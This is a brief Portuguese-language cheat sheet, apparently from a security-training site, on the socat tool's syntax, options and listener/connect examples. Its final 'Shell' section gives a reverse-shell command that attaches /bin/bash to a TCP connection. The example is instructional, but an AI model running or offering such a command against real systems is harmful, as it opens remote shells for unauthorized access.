Skip to main content

SOCAT | Solyd One

  • SOCAT | Solyd One

Sintaxe básica

socat [opções] <origem> <destino>

Opções principais

  • TCP:<host>:<porta> → usa conexão TCP.
  • UDP:<host>:<porta> → usa conexão UDP.
  • LISTEN:<porta> → escuta conexões.
  • fork → permite múltiplas conexões.
  • reuseaddr → reutiliza o endereço.
  • OPEN:<arquivo> → envia ou recebe dados de um arquivo.
  • EXEC:<comando> → executa um comando.
  • PTY → cria um pseudo-terminal.
  • STDIO → usa entrada e saída padrão (stdin/stdout).
  • -d / -d -d → modo debug (níveis diferentes de detalhe).

Criando uma conexão | SOCAT

# Criando a escuta
socat tcp4-listen:4443 -

# Conectando
socat tcp4:127.0.0.1:4443

Shell

socat tcp4:127.0.0.1:4443 EXEC:/bin/bash